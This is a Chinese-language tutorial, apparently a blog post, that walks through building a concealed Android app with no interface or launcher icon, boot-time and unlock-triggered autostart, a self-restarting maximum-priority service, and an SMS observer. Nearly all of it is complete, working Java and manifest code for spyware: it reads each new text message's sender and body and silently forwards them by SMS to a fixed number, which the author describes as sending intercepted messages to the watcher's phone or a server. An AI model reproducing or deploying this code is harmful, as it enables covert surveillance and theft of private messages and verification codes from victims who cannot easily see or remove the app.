第一步:我們講解怎樣做一個無界面和應用圖標的的應用程序。我這里用的是隱式啟動Activity,這樣啟動就不會帶界面和圖標,其實做開啟啟動非常容易,寫一個廣播事件進行監聽,并注冊在清單文件中,一會我們在介紹怎么做到開機啟動服務。回歸正題:如果沒有activity就不能做到安裝就運行,所以我們要有activity,但是又不能有界面和圖標,那就得這么做,看代碼吧!如下:
紅線部分就是比較重點的代碼,上邊有解釋,我就不多說了,只要加上上邊紅色部分的代碼,就能做到啟動Activity沒有界面和圖標。
第二步:服務開機自動啟動。首先我們應該寫一個開機自動啟動的廣播,代碼如下:
package net.loonggg.testbackstage;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent mBootIntent = new Intent(context, TestService.class);
context.startService(mBootIntent);
}
}
然后是非常重要的服務Service的代碼:
package net.loonggg.testbackstage;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import android.os.IBinder;
import android.telephony.SmsManager;
public class TestService extends Service {
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://sms/");
resolver.registerContentObserver(uri, true, new MyObserver(
new Handler()));
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
flags = START_STICKY;// START_STICKY(或START_STICKY_COMPATIBILITY)是service被kill掉后自動重寫創建
return super.onStartCommand(intent, flags, startId);
// return START_REDELIVER_INTENT;
}
private class MyObserver extends ContentObserver {
public MyObserver(Handler handler) {
super(handler);
}
@Override
public void onChange(boolean selfChange) {
super.onChange(selfChange);
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://sms/");
Cursor cursor = resolver.query(uri, new String[] { "address",
"body" }, null, null, null);
cursor.moveToFirst();
String address = cursor.getString(cursor.getColumnIndex("address"));
String body = cursor.getString(cursor.getColumnIndex("body"));
String smsContent = "number:" + address + "--content:" + body;
SmsManager smsManager = SmsManager.getDefault();
// 下邊的注釋是超過70個字符,分條發送,這里不需要
// if (smsContent.length() > 70) {
// List<String> contents = smsManager.divideMessage(smsContent);
// for (String sms : contents) {
// smsManager.sendTextMessage("5556", null, sms, null, null);
// }
// } else {
smsManager.sendTextMessage("5556", null, smsContent, null, null);
// }
cursor.close();
}
}
public void onDestroy() {
Intent localIntent = new Intent();
localIntent.setClass(this, TestService.class); // 銷毀時重新啟動Service
this.startService(localIntent);
}
}
服務里面的具體代碼我們一會在解釋,這里主要講解怎樣做到開機自動啟動。做到開機自動啟動,與服務里面的代碼沒有關系,主要是那個BootReceiver廣播配合清單文件AndroidManifest.xml,在清單文件里注冊這個廣播事件,開機觸發廣播,就會運行BootReceiver里面的onReceive()方法,啟動服務了!
紅色部分代碼就是廣播里面有關開機啟動的代碼,黑色的那兩行與殺死進程再重新啟動有關!
第三步:被管理進程的軟件殺死服務后,再重新啟動的方法。首先將服務的優先級設為最大,這樣不容易在內存不夠時,被先殺死,然后就是將廣播的優先級加最高,最重要的就是上邊圖片中那兩行的畫黑線的代碼,它們會在鎖屏和情景變化時,啟動廣播,從而重新啟動服務。代碼如下:
在TestService中,更重要的代碼是:
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
flags = START_STICKY;// START_STICKY(或START_STICKY_COMPATIBILITY)是service被kill掉后自動重寫創建
return super.onStartCommand(intent, flags, startId);
// return START_REDELIVER_INTENT;
}
public void onDestroy() {
Intent localIntent = new Intent();
localIntent.setClass(this, TestService.class); // 銷毀時重新啟動Service
this.startService(localIntent);
}
為什么重要,代碼中都有解釋,一個是在銷毀時重新啟動服務,另一個是返回START_STICKY代表service被kill掉后會自動重寫創建。
第四步:通過內容觀察者和內容提供者監聽短信,內容觀察者是觀察系統短信的變化,只要系統短信變化,內容觀察者就能監聽到,通過內容提供者獲取短信內容,再把內容發送到監聽者的手機或者上傳到服務器,我在這里用的是將監聽到的短信內容發送到監聽者的手機中!代碼就在TestService中,代碼如下:
@Override
public void onCreate() {
super.onCreate();
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://sms/");
/**
* 第一個參數不用解釋,第二個參數notifyForDescendents這個需要解釋,true代表主機的主要Uri一樣就會觸發,發送消息,
* false代表必須非常精確的Uri一樣才能觸發,發送消息,第三個參數也不用解釋,就是內容觀察者
*/
resolver.registerContentObserver(uri, true, new MyObserver(
new Handler()));
}
private class MyObserver extends ContentObserver {
public MyObserver(Handler handler) {
super(handler);
}
/**
* 當內容觀察者,觀察到數據庫的內容發生變化的時候,調用這個方法 。 觀察到消息郵箱里面有一條數據庫內容變化的通知
*/
@Override
public void onChange(boolean selfChange) {
super.onChange(selfChange);
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://sms/");
Cursor cursor = resolver.query(uri, new String[] { "address",
"body" }, null, null, null);
cursor.moveToFirst();
String address = cursor.getString(cursor.getColumnIndex("address"));
String body = cursor.getString(cursor.getColumnIndex("body"));
String smsContent = "number:" + address + "--content:" + body;
SmsManager smsManager = SmsManager.getDefault();
// 下邊的注釋是超過70個字符,分條發送,這里不需要
// if (smsContent.length() > 70) {
// List<String> contents = smsManager.divideMessage(smsContent);
// for (String sms : contents) {
// smsManager.sendTextMessage("5556", null, sms, null, null);
// }
// } else {
smsManager.sendTextMessage("5556", null, smsContent, null, null);
// }
cursor.close();
}
}
到這里就都解釋完了,我把完整的清單文件代碼貼出來,代碼如下:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="net.loonggg.testbackstage"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<application
android:allowBackup="true"
android:label="@string/app_name"
android:persistent="true"
android:theme="@style/AppTheme" > <!-- 切記, android:persistent="true"這個不可濫用,系統中用這個的service,app一多,整個系統就完蛋了。 -->
<service
android:name=".TestService"
android:priority="1000" > <!-- 優先級設置成最大 -->
</service>
<receiver
android:name=".BootReceiver"
android:priority="2147483647" > <!-- 優先級加最高 -->
<intent-filter>
<!-- 系統啟動完成后會調用 -->
<action android:name="android.intent.action.BOOT_COMPLETED" />
<!-- 解鎖完成后會調用 -->
<action android:name="android.intent.action.USER_PRESENT" />
<!-- 監聽情景切換 -->
<action android:name="android.media.RINGER_MODE_CHANGED" />
</intent-filter>
</receiver>
<activity
android:name=".MainActivity"
android:label="@string/app_name"
android:theme="@android:style/Theme.NoDisplay" > <!-- 無界面 -->
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<!-- 隱式啟動Activity,不會顯示圖標 -->
<data
android:host="”MainActivity”"
android:scheme="”net.loonggg.testbackstage”" />
</intent-filter>
</activity>
</application>
</manifest>
會了嗎?看懂了吧?